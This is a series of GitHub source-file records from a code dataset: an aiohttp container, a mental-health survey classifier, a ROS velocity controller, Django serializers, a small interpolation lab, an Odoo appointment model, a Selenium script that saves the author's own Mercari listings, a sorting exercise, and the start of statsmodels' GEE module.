player_transformer=player_transformer,\n )\n\n start_session = ext_aiohttp.View(\n start_session,\n player_repository=player_repository,\n player_transformer=player_transformer,\n )\n\n complete_stage = ext_aiohttp.View(\n complete_stage,\n player_repository=player_repository,\n player_transformer=player_transformer,\n )\n\n close_session_due_to_failure = ext_aiohttp.View(\n close_session_due_to_failure,\n player_repository=player_repository,\n player_transformer=player_transformer,\n )\n\n cancel_session = ext_aiohttp.View(\n cancel_session,\n player_repository=player_repository,\n player_transformer=player_transformer,\n )\n\n get_leaderboard = ext_aiohttp.View(\n get_leaderboard,\n player_repository=player_repository,\n leaderboard_transformer=leaderboard_transformer,\n )\n\n compare_images = ext_aiohttp.View(\n compare_images,\n image_comparator=image_comparator\n )\n","repo_name":"BogdanGrebenuk/brain-game-back","sub_path":"app/game/containers.py","file_name":"containers.py","file_ext":"py","file_size_in_byte":2477,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"91"}
+{"seq_id":"21630717390","text":"import numpy as np\r\nimport pandas as pd\r\nimport matplotlib.pyplot as plt\r\nimport seaborn as sns\r\nfrom scipy import stats\r\nfrom scipy.stats import randint\r\nfrom sklearn.model_selection import train_test_split\r\nfrom sklearn import preprocessing\r\nfrom sklearn.datasets import make_classification\r\nfrom sklearn.preprocessing import binarize, LabelEncoder, MinMaxScaler\r\nfrom sklearn import metrics\r\nfrom sklearn.model_selection import cross_val_score\r\nfrom sklearn.neural_network import MLPClassifier\r\nfrom sklearn.model_selection import RandomizedSearchCV\r\nfrom mlxtend.classifier import StackingClassifier\r\nimport tensorflow as tf\r\nimport argparse\r\n\r\nsurvey_data=pd.read_csv('survey.csv')\r\n# removing unwanted features\r\nsurvey_data.drop(['comments','state','Country'],axis=1,inplace=True)\r\nmissing_data1=survey_data.isnull().sum()\r\n#Now that we have removed unwanted features, lets check for NaN values and replace them\r\ninteger = 0\r\nString = 'NaN'\r\n# Create lists by data type\r\nintegerFeatures = ['Age']\r\nstringFeatures = ['Gender', 'self_employed', 'work_interfere']\r\n#Find if there are any outliers\r\nfor feature in survey_data:\r\n if feature in integerFeatures:\r\n survey_data[feature] = survey_data[feature].fillna(integer)\r\n elif feature in stringFeatures:\r\n survey_data[feature] = survey_data[feature].fillna(String)\r\nfor i in survey_data['Age']:\r\n if i>100 or i<0:\r\n survey_data['Age']=survey_data['Age'].replace(i,0)\r\n# Clean the NaN's\r\nmean_age=np.mean(survey_data['Age'])\r\nsurvey_data['Age']=survey_data['Age'].replace(0,mean_age).round()\r\ngender=survey_data['Gender'].unique()\r\n# As gender is in all different kinds we make sure that only 3 gender available male,female,trans\r\nmale = [\"male\", \"m\", \"male-ish\", \"maile\", \"mal\", \"male (cis)\", \"make\", \"male \", \"man\",\"msle\", \"mail\", \"malr\",\"cis man\", \"Cis Male\", \"cis male\"]\r\ntrans = [\"trans-female\", \"something kinda male?\", \"queer/she/they\", \"non-binary\",\"nah\", \"all\", \"enby\", \"fluid\", \"genderqueer\", \"androgyne\", \"agender\", \"male leaning androgynous\", \"guy (-ish) ^_^\", \"trans woman\", \"neuter\", \"female (trans)\", \"queer\", \"ostensibly male, unsure what that really means\"]\r\nfemale = [\"cis female\", \"f\", \"female\", \"woman\", \"femake\", \"female \",\"cis-female/femme\", \"female (cis)\", \"femail\"]\r\nfor (row, col) in survey_data.iterrows():\r\n\r\n if str.lower(col.Gender) in male:\r\n survey_data['Gender'].replace(to_replace=col.Gender, value='male', inplace=True)\r\n\r\n if str.lower(col.Gender) in female:\r\n survey_data['Gender'].replace(to_replace=col.Gender, value='female', inplace=True)\r\n\r\n if str.lower(col.Gender) in trans:\r\n survey_data['Gender'].replace(to_replace=col.Gender, value='trans', inplace=True)\r\n\r\n#Get rid of unknown\r\nunknown = ['A little about you', 'p']\r\nsurvey_data = survey_data[~survey_data['Gender'].isin(unknown)]\r\n\r\nsurvey_data['self_employed'] = survey_data['self_employed'].replace(String, 'No')\r\nsurvey_data['work_interfere'] = survey_data['work_interfere'].replace(String, 'Don\\'t know')\r\n# As we have replaced all NaN and null values we check if there are any other missing values\r\nmissing_data2=survey_data.isnull().sum()\r\n\r\n# We should convert the data into numbers to perform the analysis\r\n# Encoding the data\r\nlabels = {}\r\nfor feature in survey_data:\r\n encoder = preprocessing.LabelEncoder()\r\n encoder.fit(survey_data[feature])\r\n encoder_mapping = dict(zip(encoder.classes_, encoder.transform(encoder.classes_)))\r\n survey_data[feature] = encoder.transform(survey_data[feature])\r\n labelKey = 'label_' + feature\r\n labelValue = [*encoder_mapping]\r\n labels[labelKey] = labelValue\r\n# to print labels and thier encoded values\r\n#for key, value in labels.items():\r\n # print(key, value)\r\n#Covariance testing- Variability comparison between categories of variables\r\ncorr_matrix=survey_data.corr().round(2)\r\nf, ax = plt.subplots(figsize=(14, 10))\r\nsns.heatmap(corr_matrix,cmap=\"YlGnBu\", annot=True);\r\n\r\n# Distribution and No.of patients by Age\r\nsns.displot(survey_data[\"Age\"], bins=12)\r\nplt.title(\"Distribution and density by Age\")\r\nplt.xlabel(\"Age\")\r\nplt.ylabel(\"No.of Patients\")\r\n\r\n# Distribution with no.of patients and treatment\r\ng = sns.FacetGrid(survey_data, col='treatment', height=7)\r\ng.map(sns.distplot, \"Age\")\r\n\r\n#How many people has been treated?\r\nplt.figure(figsize=(12,8))\r\ng = sns.countplot(x=\"treatment\", data=survey_data)\r\nplt.title('Distribution whether treated or not')\r\n# Scaling Age by using MinMaxScalar\r\nscaler = MinMaxScaler()\r\nsurvey_data['Age'] = scaler.fit_transform(survey_data[['Age']])\r\n# Assigning the required data features for the model to train\r\nfeatures_needed = ['Age', 'Gender', 'family_history', 'benefits', 'care_options', 'anonymity', 'leave', 'work_interfere']\r\nfeatures = survey_data[features_needed]\r\ntarget = survey_data['treatment']\r\n\r\n# split X and y into training and testing sets\r\nbatch_size = 100\r\ntrain_steps = 10000\r\n\r\nX_train, X_test, y_train, y_test = train_test_split(features, target, test_size=0.2, random_state=0)\r\n\r\ndef train_input_fn(features, labels, batch_size):\r\n \"\"\"An input function for training\"\"\"\r\n # Convert the inputs to a Dataset.\r\n dataset = tf.data.Dataset.from_tensor_slices((dict(features), labels))\r\n\r\n # Shuffle, repeat, and batch the examples.\r\n return dataset.shuffle(100).repeat().batch(batch_size)\r\n\r\ndef eval_input_fn(features, labels, batch_size):\r\n features=dict(features)\r\n if labels is None:\r\n # No labels, use only features.\r\n inputs = features\r\n else:\r\n inputs = (features, labels)\r\n\r\n # Convert the inputs to a Dataset.\r\n dataset = tf.data.Dataset.from_tensor_slices(inputs)\r\n\r\n # Batch the examples\r\n assert batch_size is not None, \"batch_size must not be None\"\r\n dataset = dataset.batch(batch_size)\r\n\r\n # Return the dataset.\r\n return dataset\r\n\r\n# Define Tensorflow feature columns\r\nage = tf.feature_column.numeric_column(\"Age\")\r\ngender = tf.feature_column.numeric_column(\"Gender\")\r\nfamily_history = tf.feature_column.numeric_column(\"family_history\")\r\nbenefits = tf.feature_column.numeric_column(\"benefits\")\r\ncare_options = tf.feature_column.numeric_column(\"care_options\")\r\nanonymity = tf.feature_column.numeric_column(\"anonymity\")\r\nleave = tf.feature_column.numeric_column(\"leave\")\r\nwork_interfere = tf.feature_column.numeric_column(\"work_interfere\")\r\nfeature_columns = [age, gender, family_history, benefits, care_options, anonymity, leave, work_interfere]\r\n\r\n# Build a DNN with 2 hidden layers and 10 nodes in each hidden layer.\r\nmodel = tf.estimator.DNNClassifier(feature_columns=feature_columns,hidden_units=[7,10],optimizer=tf.optimizers.Adam,activation_fn=tf.nn.relu)\r\n\r\nmodel.train(input_fn=lambda:train_input_fn(X_train, y_train, batch_size), steps=train_steps)\r\n\r\n# Evaluate the model.\r\neval_result = model.evaluate(input_fn=lambda:eval_input_fn(X_test, y_test, batch_size))\r\n\r\nprint('\\nTest set accuracy: {accuracy:0.2f}\\n'.format(**eval_result))\r\nmethodDict={}\r\n\r\n#Data for final graph\r\naccuracy = eval_result['accuracy'] * 100\r\nmethodDict['Neural Network'] = accuracy\r\npredictions = list(model.predict(input_fn=lambda:eval_input_fn(X_train, y_train, batch_size=batch_size)))\r\n\r\n# Generate predictions from the model\r\ntemplate = ('\\nIndex: \"{}\", Prediction is \"{}\" ({:.1f}%), expected \"{}\"')\r\n\r\n# Dictionary for predictions\r\ncol1 = []\r\ncol2 = []\r\ncol3 = []\r\n\r\nfor idx, input, p in zip(X_train.index, y_train, predictions):\r\n v = p[\"class_ids\"][0]\r\n # Adding to dataframe\r\n col1.append(idx) # Index\r\n col2.append(input)\r\n col3.append(v) # Prediction\r\nresults = pd.DataFrame({'index': col1, 'expected':col2,'prediction': col3})\r\nprint(results.head(10))","repo_name":"sashank5/Prediction-of-Schizophrenia","sub_path":"Schizophrenia.py","file_name":"Schizophrenia.py","file_ext":"py","file_size_in_byte":7684,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"}
+{"seq_id":"72175834224","text":"#!/usr/bin/env python3\nimport numpy as np\nimport math as m\nfrom foundations_assignment.srv import GetJointVelocities\nimport rospy\nfrom rospy.rostime import switch_to_wallclock\nfrom rospy.service import ServiceException\nfrom std_msgs.msg import Float64\nfrom controller_manager_msgs.srv import SwitchController\nfrom sensor_msgs.msg import JointState\nfrom geometry_msgs.msg import Pose, Twist\n\nq1Pos = -1.27\nq2Pos = -0.3\nq3Pos = 0.0\n\n# q1Pos = 1.57\n# q2Pos = -2.8973\n# q3Pos = 0.0\n\np_q1 = 10.0\np_q2 = 10.0\np_q3 = 10.0\n\nd_q1 = 1.0\nd_q2 = 1.0\nd_q3 = 1.0\n\nflag = False\nrefFlag = False\njoint1_velocity_publisher = []\njoint2_velocity_publisher = []\njoint3_velocity_publisher = []\nrefPose = Pose()\ncurPose = Pose()\ndef control(msg):\n global q1Cur, q2Cur, q3Cur\n q1Cur = msg.velocity[0]\n q2Cur = msg.velocity[1]\n q3Cur = msg.velocity[2] \n# def getEndEffectorPose(msg):\n# global refPose, curPose, refFlag\n# curPose = msg\n# if refFlag:\n# refPose = curPose\n# refFlag = False\n\nif __name__=='__main__':\n try:\n rospy.init_node('velocity_controller_node')\n rate = rospy.Rate(100)\n joint1_position_publisher = rospy.Publisher('/robot/joint1_position_controller/command', Float64, queue_size=1)\n joint2_position_publisher = rospy.Publisher('/robot/joint2_position_controller/command', Float64, queue_size=1)\n joint3_position_publisher = rospy.Publisher('/robot/joint3_position_controller/command', Float64, queue_size=1)\n\n joint1_velocity_publisher = rospy.Publisher('/robot/joint1_velocity_controller/command', Float64, queue_size=1)\n joint2_velocity_publisher = rospy.Publisher('/robot/joint2_velocity_controller/command', Float64, queue_size=1)\n joint3_velocity_publisher = rospy.Publisher('/robot/joint3_velocity_controller/command', Float64, queue_size=1)\n\n\n rospy.Subscriber('/robot/joint_states', JointState, control)\n # rospy.Subscriber('/robot/pose', Pose, getEndEffectorPose)\n rospy.sleep(1)\n\n # move away from singularity\n joint1_position_publisher.publish(q1Pos)\n joint2_position_publisher.publish(q2Pos)\n joint3_position_publisher.publish(q3Pos)\n rospy.sleep(5)\n # refFlag = True\n\n rospy.wait_for_service('/robot/controller_manager/switch_controller')\n try:\n switch_service = rospy.ServiceProxy('/robot/controller_manager/switch_controller', SwitchController)\n start_controllers = ['joint1_velocity_controller', 'joint2_velocity_controller', 'joint3_velocity_controller']\n stop_controllers = ['joint1_position_controller', 'joint2_position_controller', 'joint3_position_controller']\n strictness = 2\n start_asap = False\n timeout = 0.0\n res = switch_service(start_controllers, stop_controllers, strictness, start_asap, timeout)\n print(\"Switched Controllers\")\n except rospy.ServiceException as e:\n print(\"Switch Service Call Failed\")\n print(e.what())\n flag = True\n twist = Twist()\n twist.linear.x = 0\n twist.linear.y = 1\n twist.linear.z = 0\n twist.angular.x = 0\n twist.angular.y = 0\n twist.angular.z = 0\n rospy.wait_for_service('/robot/get_joint_velocities_service')\n try:\n while True:\n f = open(\"src/foundations_assignment/velocity_plot.csv\", \"a\")\n get_joint_velocities_service = rospy.ServiceProxy('/robot/get_joint_velocities_service', GetJointVelocities)\n print(\"Twist: \", twist)\n q = get_joint_velocities_service(twist)\n print(\"Q = \", q)\n joint1_velocity_publisher.publish(q.q[0].data)\n joint2_velocity_publisher.publish(q.q[1].data)\n joint3_velocity_publisher.publish(q.q[2].data)\n val = \"\"+str(q.q[0].data)+\",\"+str(q.q[1].data)+\",\"+str(q.q[2].data)+\",\"+str(q1Cur)+\",\"+str(q2Cur)+\",\"+str(q3Cur)+\"\\n\"\n f.write(val)\n f.close()\n rospy.sleep(0.1)\n except rospy.ServiceException as e:\n print(\"Service Call Failed\")\n print(e.what())\n rospy.spin()\n except rospy.ROSInterruptException:\n pass\n # forward_kinematics(0.9, 1.57, 1.57)","repo_name":"chinmaytodankar/foundations_assignment","sub_path":"src/velocity_controller.py","file_name":"velocity_controller.py","file_ext":"py","file_size_in_byte":4324,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"}
+{"seq_id":"13456958800","text":"from rest_framework import serializers\nfrom .models import RawRefresco, RawRefrescoIntegrity, TimestampTransaction\nfrom django.core.validators import RegexValidator\n\n\nclass TimestampTransactionSerializer(serializers.ModelSerializer):\n\n txid = serializers.CharField(\n max_length=64,\n validators=[\n RegexValidator(\n regex='^.{64}$',\n message='Incorrect txid length, must be 64',\n code='txid64')])\n sender_raddress = serializers.CharField(\n max_length=34,\n validators=[\n RegexValidator(\n regex='^.{34}$',\n message='Incorrect raddress length, must be 34',\n code='raddress34')])\n\n class Meta:\n model = TimestampTransaction\n fields = ('id', 'sender_raddress', 'sender_name', 'tsintegrity', 'txid')\n\n\nclass RawRefrescoIntegritySerializer(serializers.ModelSerializer):\n id = serializers.UUIDField(read_only=True)\n tx_list = TimestampTransactionSerializer(many=True, read_only=True)\n\n class Meta:\n model = RawRefrescoIntegrity\n fields = ('id', 'integrity_address', 'integrity_pre_tx', 'integrity_post_tx', 'batch', 'tx_list', 'batch_lot_raddress')\n\n\nclass RawRefrescoSerializer(serializers.ModelSerializer):\n id = serializers.UUIDField(read_only=True)\n integrity_details = RawRefrescoIntegritySerializer(read_only=True)\n\n class Meta:\n model = RawRefresco\n fields = ('id', 'anfp', 'dfp', 'bnfp', 'pds', 'pde', 'jds', 'jde', 'bbd', 'pc', 'pl', 'rmn', 'pon', 'pop', 'mass', 'raw_json', 'integrity_details')\n","repo_name":"Open-Food-Chain/api-import","sub_path":"src/raw_refresco/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":1604,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"}
+{"seq_id":"8900940685","text":"# By submitting this assignment, I agree to the following:\r\n# \"Aggies do not lie, cheat, or steal, or tolerate those who do.\"\r\n# \"I have not given or received any unauthorized aid on this assignment.\"\r\n#\r\n# Name: Caleb Lewis\r\n# Section: 521\r\n# Assignment: Lab 2b\r\n# Date: 10 04 2021\r\n#\r\n\r\n# Prompt the user for a stress value\r\nx0 = float(input(\"Enter the strain: \"))\r\n# If the value is not in the range of the graph, print an error message and end the program, otherwise continue\r\nif(x0<0 or x0>.27):\r\n print(\"Strain is undefined in that region\")\r\n# Find the two nearest points on the graph to the left and right of the user’s input using a series of if-else statements\r\n# Set x1, y1, x2, and y2 to the values of those points\r\nelse:\r\n if(x0<=.01):\r\n x1 = 0\r\n y1 = 0\r\n x2 = .01\r\n y2 = 43\r\n elif(x0<=.06):\r\n x1 = .01\r\n y1 = 43\r\n x2 = .06\r\n y2 = 43.5\r\n elif(x0<=.18):\r\n x1 = .06\r\n y1 = 43.5\r\n x2 = .18\r\n y2 = 60\r\n else:\r\n x1 = .18\r\n y1 = 60\r\n x2 = .27\r\n y2 = 51\r\n# Plug the values into the linear interpolation equation\r\n y0 = ((y2-y1)/(x2-x1))*(x0-x1)+y1\r\n# Print y0\r\n print(\"The stress is approximately {:.1f}\".format(y0))\r\n\r\n\r\n\r\n\r\n","repo_name":"CalebLewis0917/Lab-5b","sub_path":"Lab5b_Act2.py","file_name":"Lab5b_Act2.py","file_ext":"py","file_size_in_byte":1293,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"}
+{"seq_id":"75051495023","text":"from odoo import fields, models, api, _\nfrom odoo.exceptions import UserError, ValidationError\nfrom datetime import datetime, timedelta\n\nclass BmgAppointment(models.Model):\n _name= 'bmg.appointment'\n _inherit = ['mail.thread', 'mail.activity.mixin', 'portal.mixin']\n _description = \"Appointment\"\n _order = 'id desc'\n\n appointment_sequence = fields.Char(string='Appointment Sequence')\n appointment_name = fields.Char(string='Appointment Name')\n date_appointment = fields.Date(string='Date Appointment')\n time_appointment = fields.Float(string='Time Appointment')\n duration_appoinment =fields.Integer(string='Duration Appoinment')\n private_appointment = fields.Boolean(string='Private Appointment')\n appointment_type = fields.Selection([('person','Person'),('umkm','UMKM'),('small company','Small Company'),('big company','Big Company'),('other','Other')],string='Appointment Type')\n company_name = fields.Char(string='Company Name')\n company_contacts = fields.Many2one('res.partner',string='Company Contacts')\n company_phone = fields.Char(string='Company Phone')\n company_email = fields.Char(string='Company Email')\n person_name = fields.Char(string='Person Name')\n person_contacts = fields.Many2one('res.partner',string='Person Contacts')\n person_phone = fields.Char(string='Person Phone')\n person_email = fields.Char(string='Person Email')\n employee_in_charge = fields.Many2one('hr.employee',string='Employee in Charge to Consult')\n state = fields.Selection([('new','New'),('ongoing','Ongoing'),('done','Done'),('cancel','Cancel')],default='new',string='Status')\n client_ids = fields.One2many('res.partner','client_id')\n descriptions = fields.Text('Description')\n\n @api.constrains('date_appointment')\n def check_date_appointment(self):\n date_appointment = datetime.strftime()\n days_name = date.today().strftime(\"%A\")\n print('days_name constrain..',days_name)\n if days_name in ('Saturday','Sunday'):\n raise UserError(_('Cannot fill weekend')) \n \n\n @api.model\n def create(self, vals):\n if vals.get('appointment_sequence', 'New') == 'New':\n vals['appointment_sequence'] = self.env['ir.sequence'].next_by_code('bmg.appointment.seq') or '/'\n return super(BmgAppointment, self).create(vals)\n\nclass ResParnter(models.Model):\n _inherit = 'res.partner'\n\n client_id = fields.Many2one('bmg.appointment',\"Appointment\")","repo_name":"tubagusuhendra/bmg","sub_path":"bmg_appointment/models/bmg_appointment.py","file_name":"bmg_appointment.py","file_ext":"py","file_size_in_byte":2466,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"}
+{"seq_id":"27910772648","text":"#メルカリのデータをスクレイピング\r\nfrom selenium import webdriver\r\nfrom selenium.common.exceptions import NoSuchElementException\r\nfrom selenium.common.exceptions import StaleElementReferenceException\r\nfrom selenium.common.exceptions import ElementNotVisibleException\r\nfrom selenium.common.exceptions import WebDriverException\r\nimport re\r\nimport time\r\nimport datetime\r\n#import requests\r\nimport xlwt\r\nimport os\r\nimport urllib.request\r\nfrom openpyxl import Workbook, load_workbook\r\n\r\n# Excelのシート作成\r\n#book = xlwt.Workbook()\r\n#sheet1=book.add_sheet('sheet1')\r\nwb = Workbook()\r\nbook = wb['Sheet']\r\n\r\nbook['b1'].value = 'タイトル'\r\nbook['c1'].value = '価格'\r\nbook['d1'].value = '詳細'\r\nbook['e1'].value = '商品の状態'\r\nbook['f1'].value = '画像1'\r\nbook['g1'].value = '画像2'\r\nbook['h1'].value = '画像3'\r\nbook['i1'].value = '画像4'\r\n\r\n# chroを定義\r\ntry:\r\n chro = webdriver.Chrome()\r\nexcept:\r\n chro = webdriver.Chrome('C:/selenium/chromedriver')\r\n\r\ndef searchLink(linkString):\r\n elem_last_btn=chro.find_element_by_link_text(linkString)\r\n elem_last_btn.click()\r\n time.sleep(1)\r\n\r\ndef xpath_click(xpath):\r\n input = chro.find_element_by_xpath(xpath)\r\n input.click()\r\n time.sleep(1)\r\n\r\n#メルカリでログイン\r\nchro.get('https://www.mercari.com/jp/')\r\n\r\nchro.find_element_by_link_text('ログイン').click()\r\ntime.sleep(1)\r\n\r\ninput = chro.find_element_by_xpath('/html/body/div[1]/main/div/form/div/div[1]/input')\r\ntime.sleep(1)\r\n\r\ninput.send_keys('XXXXX@yahoo.co.jp')\r\ntime.sleep(1)\r\n\r\ninput = chro.find_element_by_xpath('/html/body/div[1]/main/div/form/div/div[2]/input')\r\n\r\ntime.sleep(1)\r\n\r\ninput.send_keys('XXXXX')\r\n\r\ntime.sleep(60)# 私はロボットではありませんを回避する\r\n\r\ninput = chro.find_element_by_xpath('/html/body/div[1]/main/div/form/div/button')\r\ninput.click()\r\ntime.sleep(1)\r\n\r\n\r\n\"\"\"page_dic = {}\"\"\"\r\ntry:\r\n os.mkdir('C:/Users/Fukasawa-gu/Desktop/merukari_data')\r\nexcept:\r\n None\r\n\r\npage = 1\r\ntry:\r\n k = 0\r\n while(True):\r\n if page == 1:\r\n url = 'https://www.mercari.com/jp/mypage/listings/listing/'\r\n else:\r\n url= chro.current_url\r\n print(page, url)\r\n for i in range(1,51):\r\n chro.get(url)\r\n time.sleep(1)\r\n \"\"\"if i == 51:\r\n print(i)\r\n break\"\"\"\r\n\r\n open = chro.find_element_by_xpath('//*[@id=\"mypage-tab-transaction-now\"]/li[{}]/a/div/div[2]/div'.format(i)).get_attribute('innerHTML')\r\n time.sleep(1)\r\n print(open)\r\n if '公開停止中' in open:\r\n print(open + 'なので飛ばします。')\r\n continue\r\n\r\n title = chro.find_element_by_xpath('//*[@id=\"mypage-tab-transaction-now\"]/li[{}]/a/div/div[1]'.format(i)).get_attribute('innerHTML')\r\n time.sleep(1)\r\n print(title)\r\n # 指定の文字がタイトルに含まれていた時は以下のコメントアウトを外す\r\n \"\"\"s = ''\r\n if s in title:\r\n print(s + 'が含まれているので飛ばします。')\r\n continue\"\"\"\r\n\r\n # 商品ページに移動\r\n xpath_click('//*[@id=\"mypage-tab-transaction-now\"]/li[{}]/a/div/div[2]/div'.format(i))\r\n\r\n # タイトル、詳細、値段、発送元、商品の状態\r\n title = chro.find_element_by_xpath('/html/body/div/main/div[1]/section/h2').get_attribute('innerHTML')\r\n description = chro.find_element_by_xpath('/html/body/div/main/div[1]/section/div[3]').get_attribute('innerHTML')\r\n price = chro.find_element_by_xpath('/html/body/div/main/div[1]/section/div[2]/span[1]').get_attribute('innerHTML')\r\n price = price.replace(',','')\r\n price = price.replace('¥','')\r\n price = price.replace(' ','')\r\n condition = chro.find_element_by_xpath('/html/body/div/main/div[1]/section/div[1]/table/tbody/tr[4]/td').get_attribute('innerHTML')\r\n\r\n print('-----------------------------------')\r\n print(chro.current_url)\r\n print('-----------------------------------')\r\n print(title)\r\n print('-----------------------------------')\r\n print(description)\r\n print('-----------------------------------')\r\n print(price)\r\n print('-----------------------------------')\r\n print(condition)\r\n\r\n gazos = {}\r\n filenames = []\r\n for j in range(1,5):\r\n try:\r\n xpath_click('/html/body/div/main/div[1]/section/div[1]/div/div/div[3]/div[%s]'%j)\r\n gazos[j] = chro.find_element_by_xpath('/html/body/div/main/div[1]/section/div[1]/div/div/div[1]/div/div[%s]/div/img'%j).get_attribute('src')\r\n print('gazos[j]',gazos[j])\r\n #res = requests.get(gazos[j])\r\n print('open',page,i,j)\r\n path = 'C:/Users/Fukasawa-gu/Desktop/merukari_data/img{0}_{1}_{2}.jpg'.format(page,i,j)\r\n filenames.append('img{0}_{1}_{2}.jpg'.format(page,i,j))\r\n print(path)\r\n urllib.request.urlretrieve(gazos[j], path)\r\n\r\n except:\r\n print('画像が4枚未満')\r\n pass\r\n\r\n print(gazos)\r\n\r\n book = wb['Sheet']\r\n book['b'+str(i+k+1)].value = title\r\n book['c'+str(i+k+1)].value = price\r\n book['d'+str(i+k+1)].value = description\r\n book['e'+str(i+k+1)].value = condition\r\n try:\r\n book['f'+str(i+k+1)].value = filenames[0]\r\n book['g'+str(i+k+1)].value = filenames[1]\r\n book['h'+str(i+k+1)].value = filenames[2]\r\n book['i'+str(i+k+1)].value = filenames[3]\r\n except:\r\n pass\r\n wb.save('C:/Users/Fukasawa-gu/Desktop/merukari_data/merukari_data.xlsx')\r\n\r\n chro.back()\r\n time.sleep(1)\r\n k += 50\r\n page += 1\r\n xpath_click('/html/body/div/main/div[1]/ul/li[2]/a')\r\n\r\nexcept Exception as e:\r\n print(e)\r\n print('最終ページまで行きつきました。')\r\n\r\nprint('end')\r\n","repo_name":"Fukasawa-gu/practice","sub_path":"merukari_get_data.py","file_name":"merukari_get_data.py","file_ext":"py","file_size_in_byte":6298,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"}
+{"seq_id":"25003170389","text":"# two pointers双指针算法\n# 给你一个递增排序的整数阵列nums，return每个数字的平方并组成新的整数阵列，并且新的阵列也须依照递增排序\n# 譬如:nums = [-4,-1,0,3,10] 输出:[0,1,9,16,100]，因平方后，整数变为[16,1,0,9,100]，排序后变为[0,1,9,16,100]\n\nclass Solution:\n def sortedSquares(self, nums:int) -> int:\n # n=5\n n = len(nums)\n # i=0, j=4, k=4\n i,j,k = 0, n-1, n-1\n # 宣告ans阵列=[-1, -1, -1, -1, -1]\n ans = [-1] * n\n\n while i <= j:\n # 整数阵列的最左边\n lm = nums[i] ** 2\n # 整数阵列的最右边\n rm = nums[j] ** 2\n \n if lm > rm:\n # 如果最左边大于最右边，就把最左边的数，移到ans阵列最右边\n ans[k] = lm\n i += 1\n else:\n # 如果最左边没有大于最右边，就把最右边的数，移到ans阵列最右边\n ans[k] = rm\n j -= 1\n # 当最右边的数放好后，ans的k指标-1\n k -= 1\n return ans\n\nnums = [-4,-1,0,3,10]\nAns = Solution()\nprint(\"The new array is %s\" %(Ans.sortedSquares(nums)))\n# The new array is [0, 1, 9, 16, 100]","repo_name":"blive0321/python","sub_path":"algorithm/two_pointers.py","file_name":"two_pointers.py","file_ext":"py","file_size_in_byte":1283,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"}
+{"seq_id":"24050477462","text":"\"\"\"\nProcedures for fitting marginal regression models to dependent data\nusing Generalized Estimating Equations.\n\nReferences\n----------\nKY Liang and S Zeger. \"Longitudinal data analysis using\ngeneralized linear models\". Biometrika (1986) 73 (1): 13-22.\n\nS Zeger and KY Liang. \"Longitudinal Data Analysis for Discrete and\nContinuous Outcomes\". Biometrics Vol. 42, No. 1 (Mar., 1986),\npp. 121-130\n\nA Rotnitzky and NP Jewell (1990). \"Hypothesis testing of regression\nparameters in semiparametric generalized linear models for cluster\ncorrelated data\", Biometrika, 77, 485-497.\n\nXu Guo and Wei Pan (2002). \"Small sample performance of the score\ntest in GEE\".\nhttp://www.sph.umn.edu/faculty1/wp-content/uploads/2012/11/rr2002-013.pdf\n\nLA Mancl LA, TA DeRouen (2001). A covariance estimator for GEE with\nimproved small-sample properties. Biometrics. 2001 Mar;57(1):126-34.\n\"\"\"\nfrom statsmodels.compat.python import lzip\nfrom statsmodels.compat.pandas import Appender\n\nimport numpy as np\nfrom scipy import stats\nimport pandas as pd\nimport patsy\nfrom collections import defaultdict\nfrom statsmodels.tools.decorators import cache_readonly\nimport statsmodels.base.model as base\n# used for wrapper:\nimport statsmodels.regression.linear_model as lm\nimport statsmodels.base.wrapper as wrap\n\nfrom statsmodels.genmod import families\nfrom statsmodels.genmod.generalized_linear_model import GLM, GLMResults\nfrom statsmodels.genmod import cov_struct as cov_structs\n\nimport statsmodels.genmod.families.varfuncs as varfuncs\nfrom statsmodels.genmod.families.links import Link\n\nfrom statsmodels.tools.sm_exceptions import (ConvergenceWarning,\n DomainWarning,\n IterationLimitWarning,\n ValueWarning)\nimport warnings\n\nfrom statsmodels.graphics._regressionplots_doc import (\n _plot_added_variable_doc,\n _plot_partial_residuals_doc,\n _plot_ceres_residuals_doc)\nfrom statsmodels.discrete.discrete_margins import (\n _get_margeff_exog, _check_margeff_args, _effects_at, margeff_cov_with_se,\n _check_at_is_all, _transform_names, _check_discrete_args,\n _get_dummy_index, _get_count_index)\n\n\nclass ParameterConstraint:\n \"\"\"\n A class for managing linear equality constraints for a parameter\n vector.\n \"\"\"\n\n def __init__(self, lhs, rhs, exog):\n \"\"\"\n Parameters\n ----------\n lhs : ndarray\n A q x p matrix which is the left hand side of the\n constraint lhs * param = rhs. The number of constraints is\n q >= 1 and p is the dimension of the parameter vector.\n rhs : ndarray\n A 1-dimensional vector of length q which is the right hand\n side of the constraint equation.\n exog : ndarray\n The n x p exognenous data for the full model.\n \"\"\"\n\n # In case a row or column vector is passed (patsy linear\n # constraints passes a column vector).\n rhs = np.atleast_1d(rhs.squeeze())\n\n if rhs.ndim > 1:\n raise ValueError(\"The right hand side of the constraint \"\n \"must be a vector.\")\n\n if len(rhs) != lhs.shape[0]:\n raise ValueError(\"The number of rows of the left hand \"\n \"side constraint matrix L must equal \"\n \"the length of the right hand side \"\n \"constraint vector R.\")\n\n self.lhs = lhs\n self.rhs = rhs\n\n # The columns of lhs0 are an orthogonal basis for the\n # orthogonal complement to row(lhs), the columns of lhs1 are\n # an orthogonal basis for row(lhs). The columns of lhsf =\n # [lhs0, lhs1] are mutually orthogonal.\n lhs_u, lhs_s, lhs_vt = np.linalg.svd(lhs.T, full_matrices=1)\n self.lhs0 = lhs_u[:, len(lhs_s):]\n self.lhs1 = lhs_u[:, 0:len(lhs_s)]\n self.lhsf = np.hstack((self.lhs0, self.lhs1))\n\n # param0 is one solution to the underdetermined system\n # L * param = R.\n self.param0 = np.dot(self.lhs1, np.dot(lhs_vt, self.rhs) /\n lhs_s)\n\n self._offset_increment = np.dot(exog, self.param0)\n\n self.orig_exog = exog\n self.exog_fulltrans = np.dot(exog, self.lhsf)\n\n def offset_increment(self):\n \"\"\"\n Returns a vector that should be added to the offset vector to\n accommodate the constraint.\n\n Parameters\n ----------\n exog : 